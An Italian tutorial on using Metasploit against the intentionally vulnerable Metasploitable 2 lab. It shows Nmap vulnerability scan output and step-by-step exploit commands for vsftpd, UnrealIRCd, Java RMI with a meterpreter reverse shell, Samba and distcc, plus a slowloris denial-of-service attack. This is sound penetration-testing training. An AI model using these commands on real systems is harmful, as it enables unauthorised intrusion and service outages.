Ricerca nel sito web

10 esempi di utilizzo di Metasploit


Metasploit è un framework di sicurezza che include molti strumenti per l'exploit e il test del sistema. Questo tutorial mostra 10 esempi di attacchi di hacking contro un target Linux. L'obiettivo Linux è un ambiente di formazione Metasploitable 2 OS, intenzionalmente vulnerabile affinché gli utenti imparino a sfruttarne le vulnerabilità. Questo tutorial si concentra solo su 10 attacchi metasploit specifici, per informazioni sull'installazione di Metasploitable 2 leggi di più qui. Per iniziare, scarica Metasploit.

Nel mio caso ho scaricato la versione di prova gratuita di Metasploit Pro, ma puoi ottenerne qualcuna. La schermata seguente richiederà alcune delle tue informazioni personali, compilala per passare alla pagina di download:

Scarica Metasploit per Linux:

Assegna i diritti di esecuzione al programma di installazione che hai appena scaricato eseguendo:

# chmod +x metasploit-latest-linux-x64-installer.run

Quindi esegui Metasploit eseguendo:

# ./metasploit-latest-linux-x64-installer.run

Quando vengono visualizzate le richieste della GUI del programma di installazione, fai clic su Avanti per continuare:

Nella schermata successiva accetta il contratto di licenza e fai clic su Avanti:

Lascia la directory predefinita e premi Avanti:

Quando ti viene chiesto se installare Metasploit come servizio, la raccomandazione è di no, se lo fai, il servizio Metasploit verrà avviato ad ogni avvio, se premi No il servizio Metasploit verrà avviato solo su tua richiesta. Seleziona la tua scelta e premi su Avanti per continuare:

Per evitare interferenze, quando usi Metasploit disattiva il firewall, premi Avanti per continuare:

A meno che la porta mostrata non sia già utilizzata, premi Avanti per continuare:

Lascia localhost e premi Avanti per continuare:

Quindi per procedere con l'installazione premi Avanti per l'ultima volta:

Inizierà il processo di installazione:

Alla fine è stato installato Metasploit, nonostante non lavoreremo con l'interfaccia web di Metasploit, puoi contrassegnarlo per mantenerlo disponibile. Premi Fine per terminare.

Risoluzione dei problemi relativi all'errore DB Metasploit:

Nel mio caso quando ho lanciato Metasploit ha restituito l'errore:



No database support: could not connect to server: Connection refused Is the server running
on host "localhost" (::1) and accepting TCP/IP connections on port 7337?

Il motivo di questo errore è che la dipendenza PostgreSQL non è stata installata e nemmeno il servizio metasploit.

Per risolverlo esegui:

# apt install -y postgresql

Quindi avvia PostgreSQL eseguendo:

# sudo service postgresql start

E infine avvia il servizio Metasploit:

# sudo service metasploit start

Ora esegui nuovamente msfconsole e noterai che l'errore è scomparso e siamo pronti per attaccare Metasploitable 2:

Utilizzo di Metasploit per scansionare un target alla ricerca di vulnerabilità:

Il primo passo è scansionare il nostro obiettivo per scoprire servizi e vulnerabilità su di esso. Per realizzarlo utilizzeremo Nmap di Metasploit e il suo script vuln NSE (Nmap Scripting Engine) utilizzato per rilevare le vulnerabilità:

# db_nmap -v --script vuln 192.168.0.184

NOTA: sostituisci 192.168.0.184 per il tuo indirizzo IP o host di destinazione.

Analizziamo l'output di Nmap:

IMPORTANTE: l'output di Nmap conteneva oltre 4000 righe, quindi l'output è stato abbreviato lasciando le informazioni rilevanti da spiegare.

Le righe seguenti ci mostrano solo i tipi di scansioni inizializzate che coinvolgono NSE, ARP Ping Scan, risoluzione DNS e SYN Stealth Scan. Tutti questi passaggi sono già stati chiaramente spiegati su linux-console.net in Nping e Nmap arp scan, Utilizzo degli script nmap e Nmap Stealth Scan.

Tieni presente che NSE contiene script di pre-esecuzione, durante l'esecuzione della scansione e post-esecuzione che vengono eseguiti prima, durante e dopo l'inizio e la fine del processo di scansione.


msf5 > db_nmap -v --script vuln 192.168.0.184
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-04 16:56 -03
[*] Nmap: NSE: Loaded 103 scripts for scanning.
[*] Nmap: NSE: Script Pre-scanning.
[*] Nmap: Initiating NSE at 16:56
[*] Nmap: Completed NSE at 16:57, 10.00s elapsed
[*] Nmap: Initiating NSE at 16:57
[*] Nmap: Completed NSE at 16:57, 0.00s elapsed
[*] Nmap: Initiating ARP Ping Scan at 16:57
[*] Nmap: Scanning 192.168.0.184 [1 port]
[*] Nmap: Completed ARP Ping Scan at 16:57, 0.05s elapsed (1 total hosts)
[*] Nmap: Initiating Parallel DNS resolution of 1 host. at 16:57
[*] Nmap: Completed Parallel DNS resolution of 1 host. at 16:57, 0.02s elapsed
[*] Nmap: Initiating SYN Stealth Scan at 16:57
[*] Nmap: Scanning 192.168.0.184 [1000 ports]

Il prossimo estratto mostra quali servizi sono disponibili presso il nostro target:


[*] Nmap: Discovered open port 25/tcp on 192.168.0.184
[*] Nmap: Discovered open port 80/tcp on 192.168.0.184
[*] Nmap: Discovered open port 445/tcp on 192.168.0.184
[*] Nmap: Discovered open port 139/tcp on 192.168.0.184
[*] Nmap: Discovered open port 3306/tcp on 192.168.0.184
[*] Nmap: Discovered open port 5900/tcp on 192.168.0.184
[*] Nmap: Discovered open port 22/tcp on 192.168.0.184
[*] Nmap: Discovered open port 53/tcp on 192.168.0.184
[*] Nmap: Discovered open port 111/tcp on 192.168.0.184
[*] Nmap: Discovered open port 21/tcp on 192.168.0.184
[*] Nmap: Discovered open port 23/tcp on 192.168.0.184
[*] Nmap: Discovered open port 1099/tcp on 192.168.0.184
[*] Nmap: Discovered open port 512/tcp on 192.168.0.184
[*] Nmap: Discovered open port 1524/tcp on 192.168.0.184
[*] Nmap: Discovered open port 513/tcp on 192.168.0.184
[*] Nmap: Discovered open port 514/tcp on 192.168.0.184
[*] Nmap: Discovered open port 2121/tcp on 192.168.0.184
[*] Nmap: Discovered open port 6000/tcp on 192.168.0.184
[*] Nmap: Discovered open port 2049/tcp on 192.168.0.184
[*] Nmap: Discovered open port 6667/tcp on 192.168.0.184
[*] Nmap: Discovered open port 8009/tcp on 192.168.0.184
[*] Nmap: Discovered open port 5432/tcp on 192.168.0.184
[*] Nmap: Discovered open port 8180/tcp on 192.168.0.184
[*] Nmap: Completed SYN Stealth Scan at 16:57, 0.12s elapsed (1000 total ports)

Il seguente estratto riporta l'esecuzione degli script NSE post-scansione per individuare le vulnerabilità:


[*] Nmap: NSE: Script scanning 192.168.0.184.
[*] Nmap: Initiating NSE at 16:57
[*] Nmap: Completed NSE at 17:02, 322.44s elapsed
[*] Nmap: Initiating NSE at 17:02
[*] Nmap: Completed NSE at 17:02, 0.74s elapsed
[*] Nmap: Nmap scan report for 192.168.0.184
[*] Nmap: Host is up (0.00075s latency).
[*] Nmap: Not shown: 977 closed ports

Come puoi vedere, Nmap ha già trovato buchi di sicurezza o vulnerabilità sul servizio FTP di destinazione, collega anche degli exploit per hackerare il bersaglio:


[*] Nmap: PORT     STATE SERVICE
[*] Nmap: 21/tcp   open  ftp
[*] Nmap: | ftp-vsftpd-backdoor:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   vsFTPd version 2.3.4 backdoor
[*] Nmap: |     State: VULNERABLE (Exploitable)
[*] Nmap: |     IDs:  OSVDB:73573  CVE:CVE-2011-2523
[*] Nmap: |       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
[*] Nmap: |     Disclosure date: 2011-07-03
[*] Nmap: |     Exploit results:
[*] Nmap: |       Shell command: id
[*] Nmap: |       Results: uid=0(root) gid=0(root)
[*] Nmap: |     References:
[*] Nmap: |       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
[*] Nmap: |       http://osvdb.org/73573
[*] Nmap: |       https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/
unix/ftp/vsftpd_234_backdoor.rb
[*] Nmap: |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523

Di seguito puoi vedere, oltre alle falle di sicurezza FTP, Nmap ha rilevato le vulnerabilità SSL:

[*] Nmap: |_sslv2-drown:
[*] Nmap: 22/tcp   open  ssh
[*] Nmap: 23/tcp   open  telnet
[*] Nmap: 25/tcp   open  smtp
[*] Nmap: | smtp-vuln-cve2010-4344:
[*] Nmap: |_  The SMTP server is not Exim: NOT VULNERABLE
[*] Nmap: | ssl-dh-params:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
[*] Nmap: |     State: VULNERABLE
[*] Nmap: |       Transport Layer Security (TLS) services that use anonymous
[*] Nmap: |       Diffie-Hellman key exchange only provide protection against passive
[*] Nmap: |       eavesdropping, and are vulnerable to active man-in-the-middle attacks
[*] Nmap: |       which could completely compromise the confidentiality and integrity
[*] Nmap: |       of any data exchanged over the resulting session.
[*] Nmap: |     Check results:
[*] Nmap: |       ANONYMOUS DH GROUP 1
[*] Nmap: |             Cipher Suite: TLS_DH_anon_WITH_AES_256_CBC_SHA
[*] Nmap: |             Modulus Type: Safe prime
[*] Nmap: |             Modulus Source: postfix builtin
[*] Nmap: |             Modulus Length: 1024
[*] Nmap: |             Generator Length: 8
[*] Nmap: |             Public Key Length: 1024
[*] Nmap: |     References:
[*] Nmap: |       https://www.ietf.org/rfc/rfc2246.txt
[*] Nmap: |
[*] Nmap: |   Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
[*] Nmap: |     State: VULNERABLE
[*] Nmap: |     IDs:  OSVDB:122331  CVE:CVE-2015-4000
[*] Nmap: |       The Transport Layer Security (TLS) protocol contains a flaw that is
[*] Nmap: |       triggered when handling Diffie-Hellman key exchanges defined with
[*] Nmap: |       the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
[*] Nmap: |       to downgrade the security of a TLS session to 512-bit export-grade
[*] Nmap: |       cryptography, which is significantly weaker, allowing the attacker
[*] Nmap: |       to more easily break the encryption and monitor or tamper with
[*] Nmap: |       the encrypted stream.
[*] Nmap: |     Disclosure date: 2015-5-19
[*] Nmap: |     Check results:
[*] Nmap: |       EXPORT-GRADE DH GROUP 1
[*] Nmap: |             Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
[*] Nmap: |             Modulus Type: Safe prime
[*] Nmap: |             Modulus Source: Unknown/Custom-generated
[*] Nmap: |             Modulus Length: 512
[*] Nmap: |             Generator Length: 8
[*] Nmap: |             Public Key Length: 512
[*] Nmap: |     References:
[*] Nmap: |       https://weakdh.org
[*] Nmap: |       http://osvdb.org/122331
[*] Nmap: |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
[*] Nmap: |
[*] Nmap: |   Diffie-Hellman Key Exchange Insufficient Group Strength
[*] Nmap: |     State: VULNERABLE
[*] Nmap: |       Transport Layer Security (TLS) services that use Diffie-Hellman groups
[*] Nmap: |       of insufficient strength, especially those using one of a few commonly
[*] Nmap: |       shared groups, may be susceptible to passive eavesdropping attacks.
[*] Nmap: |     Check results:
[*] Nmap: |       WEAK DH GROUP 1
[*] Nmap: |             Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA
[*] Nmap: |             Modulus Type: Safe prime
[*] Nmap: |             Modulus Source: postfix builtin
[*] Nmap: |             Modulus Length: 1024
[*] Nmap: |             Generator Length: 8
[*] Nmap: |             Public Key Length: 1024
[*] Nmap: |     References:
[*] Nmap: |_      https://weakdh.org
[*] Nmap: | ssl-poodle:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   SSL POODLE information leak
[*] Nmap: |     State: VULNERABLE
[*] Nmap: |     IDs:  OSVDB:113251  CVE:CVE-2014-3566
[*] Nmap: |           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
[*] Nmap: |           products, uses nondeterministic CBC padding, which makes it easier
[*] Nmap: |           for man-in-the-middle attackers to obtain cleartext data via a
[*] Nmap: |           padding-oracle attack, aka the "POODLE" issue.
[*] Nmap: |     Disclosure date: 2014-10-14
[*] Nmap: |     Check results:
[*] Nmap: |       TLS_RSA_WITH_AES_128_CBC_SHA
[*] Nmap: |     References:
[*] Nmap: |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
[*] Nmap: |       https://www.openssl.org/~bodo/ssl-poodle.pdf
[*] Nmap: |       https://www.imperialviolet.org/2014/10/14/poodle.html
[*] Nmap: |_      http://osvdb.org/113251
[*] Nmap: | sslv2-drown:
[*] Nmap: |   ciphers:
[*] Nmap: |     SSL2_RC4_128_EXPORT40_WITH_MD5
[*] Nmap: |     SSL2_DES_192_EDE3_CBC_WITH_MD5
[*] Nmap: |     SSL2_RC2_128_CBC_WITH_MD5
[*] Nmap: |     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
[*] Nmap: |     SSL2_RC4_128_WITH_MD5
[*] Nmap: |     SSL2_DES_64_CBC_WITH_MD5
[*] Nmap: |   vulns:
[*] Nmap: |     CVE-2016-0703:
[*] Nmap: |       title: OpenSSL: Divide-and-conquer session key recovery in SSLv2
[*] Nmap: |       state: VULNERABLE
[*] Nmap: |       ids:
[*] Nmap: |         CVE:CVE-2016-0703
[*] Nmap: |       description:
[*] Nmap: |               The get_client_master_key function in s2_srvr.c in the SSLv2 implementation in
[*] Nmap: |       OpenSSL before 0.9.8zf, 1.0.0 before 1.0.0r, 1.0.1 before 1.0.1m, and 1.0.2 before
[*] Nmap: |       1.0.2a accepts a nonzero CLIENT-MASTER-KEY CLEAR-KEY-LENGTH value for an arbitrary
[*] Nmap: |       cipher, which allows man-in-the-middle attackers to determine the MASTER-KEY value
[*] Nmap: |       and decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding oracle, a
[*] Nmap: |       related issue to CVE-2016-0800.
[*] Nmap: |
[*] Nmap: |       refs:
[*] Nmap: |         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0703
[*] Nmap: |         https://www.openssl.org/news/secadv/20160301.txt

L'estratto seguente mostra che sono state rilevate molte vulnerabilità nel server Web, incluso l'accesso a pagine di accesso sensibili e vulnerabilità Denial of Service.


[*] Nmap: 53/tcp   open  domain
[*] Nmap: 80/tcp   open  http
[*] Nmap: | http-csrf:
[*] Nmap: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.0.184
[*] Nmap: |   Found the following possible CSRF vulnerabilities:
[*] Nmap: |
[*] Nmap: |     Path: http://192.168.0.184:80/dvwa/
[*] Nmap: |     Form id:
[*] Nmap: |     Form action: login.php
[*] Nmap: |
[*] Nmap: |     Path: http://192.168.0.184:80/dvwa/login.php
[*] Nmap: |     Form id:
[*] Nmap: |_    Form action: login.php
[*] Nmap: |_http-dombased-xss: Couldn't find any DOM based XSS.
[*] Nmap: | http-enum:
[*] Nmap: |   /tikiwiki/: Tikiwiki
[*] Nmap: |   /test/: Test page
[*] Nmap: |   /phpinfo.php: Possible information file
[*] Nmap: |   /phpMyAdmin/: phpMyAdmin
[*] Nmap: |   /doc/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) dav/2'
[*] Nmap: |   /icons/: Potentially interesting folder w/ directory listing
[*] Nmap: |_  /index/: Potentially interesting folder
[*] Nmap: | http-slowloris-check:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   Slowloris DOS attack
[*] Nmap: |     State: LIKELY VULNERABLE
[*] Nmap: |     IDs:  CVE:CVE-2007-6750
[*] Nmap: |       Slowloris tries to keep many connections to the target web server open and hold
[*] Nmap: |       them open as long as possible.  It accomplishes this by opening connections to
[*] Nmap: |       the target web server and sending a partial request. By doing so, it starves
[*] Nmap: |       the http server's resources causing Denial Of Service.
[*] Nmap: |
[*] Nmap: |    Disclosure date: 2009-09-17
[*] Nmap: |    References:
[*] Nmap: |    http://ha.ckers.org/slowloris/
[*] Nmap: |_   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750

In questa fase Nmap ha trovato molte vulnerabilità SQL injection, la quantità di vulnerabilità era così grande per questo tutorial che ne ho rimosse molte e ne ho lasciate alcune:



[*] Nmap: | http-sql-injection:
[*] Nmap: |   Possible sqli for queries:
[*] Nmap: |     http://192.168.0.184:80/dav/?C=N%3bO%3dD%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/dav/?C=S%3bO%3dA%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/dav/?C=M%3bO%3dA%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/dav/?C=D%3bO%3dA%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=pen-test-tool-lookup.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=documentation%2fvulnerabilities.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=capture-data.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=text-file-viewer.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/?page=add-to-your-blog.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/?page=show-log.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=register.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=html5-storage.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=user-info.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=home.php&do=toggle-hints%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=show-log.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=notes.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=framing.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=php-errors.php%27%20OR%20sqlspider
[*] Nmap: |     http://192.168.0.184:80/mutillidae/index.php?page=home.php&
do=toggle-security%27%20OR%20sqlspider

Di seguito Nmap scarta nuovamente le vulnerabilità XSS (come nel primo estratto) e segnala

Buchi di sicurezza di Remote Method Invocation (RMI) dovuti a una configurazione errata che consente a un utente malintenzionato di consentire l'esecuzione di codice Java dannoso:



[*] Nmap: |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
[*] Nmap: |_http-trace: TRACE is enabled
[*] Nmap: |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
[*] Nmap: 111/tcp  open  rpcbind
[*] Nmap: 139/tcp  open  netbios-ssn
[*] Nmap: 445/tcp  open  microsoft-ds
[*] Nmap: 512/tcp  open  exec
[*] Nmap: 513/tcp  open  login
[*] Nmap: 514/tcp  open  shell
[*] Nmap: 1099/tcp open  rmiregistry
[*] Nmap: | rmi-vuln-classloader:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   RMI registry default configuration remote code execution vulnerability
[*] Nmap: |     State: VULNERABLE
[*] Nmap: |       Default configuration of RMI registry allows loading classes from remote URLs which
 can lead to remote code execution.
[*] Nmap: |
[*] Nmap: |     References:
[*] Nmap: |_      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/
misc/java_rmi_server.rb

Di seguito puoi vedere ulteriori vulnerabilità SSL trovate:


[*] Nmap: | ssl-ccs-injection:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   SSL/TLS MITM vulnerability (CCS Injection)
[*] Nmap: |     State: VULNERABLE
[*] Nmap: |     Risk factor: High
[*] Nmap: |       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
[*] Nmap: |       does not properly restrict processing of ChangeCipherSpec messages,
[*] Nmap: |       which allows man-in-the-middle attackers to trigger use of a zero
[*] Nmap: |       length master key in certain OpenSSL-to-OpenSSL communications, and
[*] Nmap: |       consequently hijack sessions or obtain sensitive information, via
[*] Nmap: |       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
[*] Nmap: |
[*] Nmap: |     References:
[*] Nmap: |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
[*] Nmap: |       http://www.cvedetails.com/cve/2014-0224
[*] Nmap: |_      http://www.openssl.org/news/secadv_20140605.txt
[*] Nmap: | ssl-dh-params:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   Diffie-Hellman Key Exchange Insufficient Group Strength
[*] Nmap: |     State: VULNERABLE
[*] Nmap: |       Transport Layer Security (TLS) services that use Diffie-Hellman groups
[*] Nmap: |       of insufficient strength, especially those using one of a few commonly
[*] Nmap: |       shared groups, may be susceptible to passive eavesdropping attacks.
[*] Nmap: |     Check results:
[*] Nmap: |       WEAK DH GROUP 1
[*] Nmap: |             Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
[*] Nmap: |             Modulus Type: Safe prime
[*] Nmap: |             Modulus Source: Unknown/Custom-generated
[*] Nmap: |             Modulus Length: 1024
[*] Nmap: |             Generator Length: 8
[*] Nmap: |             Public Key Length: 1024
[*] Nmap: |     References:
[*] Nmap: |_      https://weakdh.org
[*] Nmap: | ssl-poodle:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   SSL POODLE information leak
[*] Nmap: |     State: VULNERABLE
[*] Nmap: |     IDs:  OSVDB:113251  CVE:CVE-2014-3566
[*] Nmap: |           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other

L'estratto successivo mostra che il nostro obiettivo è probabilmente infetto da un trojan contro un servizio IRC:


[*] Nmap: |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. 
See http://seclists.org/fulldisclosure/2010/Jun/277
[*] Nmap: 8009/tcp open  ajp13

L'estratto seguente mostra che il flag httponly non è configurato correttamente, pertanto la destinazione è vulnerabile agli attacchi di scripting cross-site:


[*] Nmap: 8180/tcp open  unknown
[*] Nmap: | http-cookie-flags:
[*] Nmap: |   /admin/:
[*] Nmap: |     JSESSIONID:
[*] Nmap: |       httponly flag not set
[*] Nmap: |   /admin/index.html:
[*] Nmap: |     JSESSIONID:
[*] Nmap: |       httponly flag not set
[*] Nmap: |   /admin/login.html:
[*] Nmap: |     JSESSIONID:
[*] Nmap: |       httponly flag not set
[*] Nmap: |   /admin/admin.html:
[*] Nmap: |     JSESSIONID:
[*] Nmap: |       httponly flag not set
[*] Nmap: |   /admin/account.html:
[*] Nmap: |     JSESSIONID:
[*] Nmap: |       httponly flag not set
[*] Nmap: |   /admin/admin_login.html:
[*] Nmap: |     JSESSIONID:
[*] Nmap: |       httponly flag not set
[*] Nmap: |   /admin/home.html:

Il seguente estratto enumera o elenca le directory accessibili trovate interessanti sul nostro obiettivo:


[*] Nmap: | http-enum:
[*] Nmap: |   /admin/: Possible admin folder
[*] Nmap: |   /admin/index.html: Possible admin folder
[*] Nmap: |   /admin/login.html: Possible admin folder
[*] Nmap: |   /admin/admin.html: Possible admin folder
[*] Nmap: |   /admin/account.html: Possible admin folder
[*] Nmap: |   /admin/admin_login.html: Possible admin folder
[*] Nmap: |   /admin/home.html: Possible admin folder
[*] Nmap: |   /admin/admin-login.html: Possible admin folder
[*] Nmap: |   /admin/adminLogin.html: Possible admin folder
[*] Nmap: |   /admin/controlpanel.html: Possible admin folder
[*] Nmap: |   /admin/cp.html: Possible admin folder
[*] Nmap: |   /admin/index.jsp: Possible admin folder

Infine, la scansione termina e viene eseguito il NSE post-scansione:


[*] Nmap: |
[*] Nmap: |     Disclosure date: 2009-09-17
[*] Nmap: |     References:
[*] Nmap: |       http://ha.ckers.org/slowloris/
[*] Nmap: |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
[*] Nmap: MAC Address: 08:00:27:DD:87:8C (Oracle VirtualBox virtual NIC)
[*] Nmap: Host script results:
[*] Nmap: |_smb-vuln-ms10-054: false
[*] Nmap: |_smb-vuln-ms10-061: false
[*] Nmap: NSE: Script Post-scanning.
[*] Nmap: Initiating NSE at 17:02
[*] Nmap: Completed NSE at 17:02, 0.00s elapsed
[*] Nmap: Initiating NSE at 17:02
[*] Nmap: Completed NSE at 17:02, 0.00s elapsed
[*] Nmap: Read data files from: /opt/metasploit/common/share/nmap/
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 333.96 seconds
[*] Nmap: Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.120KB)
msf5 >

Ora abbiamo identificato alcune falle di sicurezza per attaccare il nostro obiettivo.

Usare Metasploit per hackerare un server FTP:

Una volta identificate le falle di sicurezza sul tuo obiettivo, utilizza i comandi Metasploit per trovare gli exploit adeguati contro di loro. Come hai visto in precedenza una delle prime vulnerabilità riscontrate era sul server vsFTPD, per trovare gli exploit adeguati, all'interno di Metasploit eseguire:

# search vsftpd

Come vedi Metasploit contiene una backdoor che forse potrebbe aiutarci ad hackerare il nostro FTP di destinazione. Per utilizzare questo exploit, all'interno di Metasploit eseguire:

# use exploit/unix/ftp/vsftpd_234_backdoor

Per sapere come utilizzare qualsiasi exploit specifico, esegui:

# show options

Come puoi vedere sopra, questo exploit contiene 2 opzioni, RHOSTS (host remoto) e RPORT. Dobbiamo specificare il RHOST, la porta è già specificata (21). Per impostare l'Host Remoto (RHOST) definendo l'IP di destinazione eseguire:

# set RHOST 192.168.0.184

Una volta definito il target eseguire il seguente comando per sfruttare la falla di sicurezza:

# exploit

Come puoi vedere, ho inserito una shell nel target, quando eseguo "ls" posso vedere i file di destinazione, l'attacco è riuscito. Per lasciare il target basta eseguire:

#exit

Utilizzo di Metasploit per attacchi DOS:

Come hai visto durante il processo di scansione, è stata trovata una vulnerabilità DOS slowloris, per scoprire come sfruttarla segui i passaggi precedenti per cercare uno strumento adeguato, in questo caso un modulo ausiliario invece di un exploit:

# search slowloris

Una volta trovato uno strumento per attaccare, esegui:

# use auxiliary/dos/http/slowloris
# set RHOST 192.168.0.184

Quindi basta digitare:

# run

Noterai che mentre viene eseguito l'attacco, il servizio http di destinazione non sarà disponibile e continuerà a caricarsi:

Una volta fermato l'attacco premendo CTRL+C il server sarà nuovamente disponibile:

Utilizzare Metasploit per hackerare un server IRC:

Internet Relay Chat è ampiamente utilizzato in tutto il mondo, come potresti notare durante le prime fasi della scansione, Metasploit potrebbe aver trovato un servizio IRC (Unreal IRCD) infetto da un trojan.

Ripetiamo i passaggi per trovare uno strumento per hackerarlo:

# search unreal ircd
# use exploit/unix/irc/unreal_ircd_3281_backdoor
# show options
# set RHOST 192.168.0.184

Quindi esegui:

# exploit

E come puoi vedere ancora, abbiamo una sessione di shell all'interno del target.

Utilizzo di Metasploit per eseguire codice dannoso Java:

# use exploit/multi/misc/java_rmi_server
# show options
# set RHOST 192.168.0.184
# show payloads
# set payload java/meterpreter/reverse_tcp
# set LHOST 192.168.0.50
# exploit

Utilizzo di Metasploit per hackerare la vulnerabilità di Samba Usermap Script:

Alcuni passaggi come la ricerca degli exploit verranno omessi per evitare un enorme tutorial. Per sfruttare questa vulnerabilità eseguire:

# use exploit/multi/samba/usermap_script
# show options

Imposta l'IP di destinazione e sfruttalo eseguendo:

# set RHOST 192.168.0.184
# exploit

Come puoi vedere, abbiamo raggiunto il nostro obiettivo.

Utilizzo di Metasploit per sfruttare l'esecuzione del comando DistCC Daemon:

Questa vulnerabilità è spiegata qui.

Per iniziare l'esecuzione:

# use exploit/Unix/misc/distcc_exec
# set RHOST 192.168.0.184
# exploit

Come puoi vedere, abbiamo nuovamente ottenuto l'accesso all'obiettivo.

Utilizzo di Metasploit per la scansione delle porte (modo aggiuntivo senza Nmap):

Effettuare una scansione TCP con Metasploit:

Per eseguire una scansione diversa senza utilizzare Nmap Metasploit offre alternative che puoi trovare eseguendo:

# search portscan

Per eseguire una scansione TCP:

# use scanner/portscan/tcp
# set RHOST 192.168.0.184

Per visualizzare opzioni aggiuntive:

# show options

Scegli l'intervallo di porte che desideri scansionare eseguendo:

# set PORTS 21-35

Quindi esegui la scansione eseguendo:

# run

Come puoi vedere le porte 22,25,23 e 21 sono state trovate aperte.

Effettuare una scansione SYN con Metasploit:

Per un'esecuzione della scansione SYN:

# use auxiliary/scanner/portscan/syn
# set RHOST 192.168.0.184
# set PORTS 80
# run

Come puoi vedere la porta 80 è stata trovata aperta.

CONCLUSIONE

Metasploit è come un coltellino svizzero: ha tantissime funzioni. Spero che tu abbia trovato utile questo tutorial su Metasploit. Continua a seguire LinuxHint per ulteriori suggerimenti e aggiornamenti su Linux e reti.

Articoli correlati: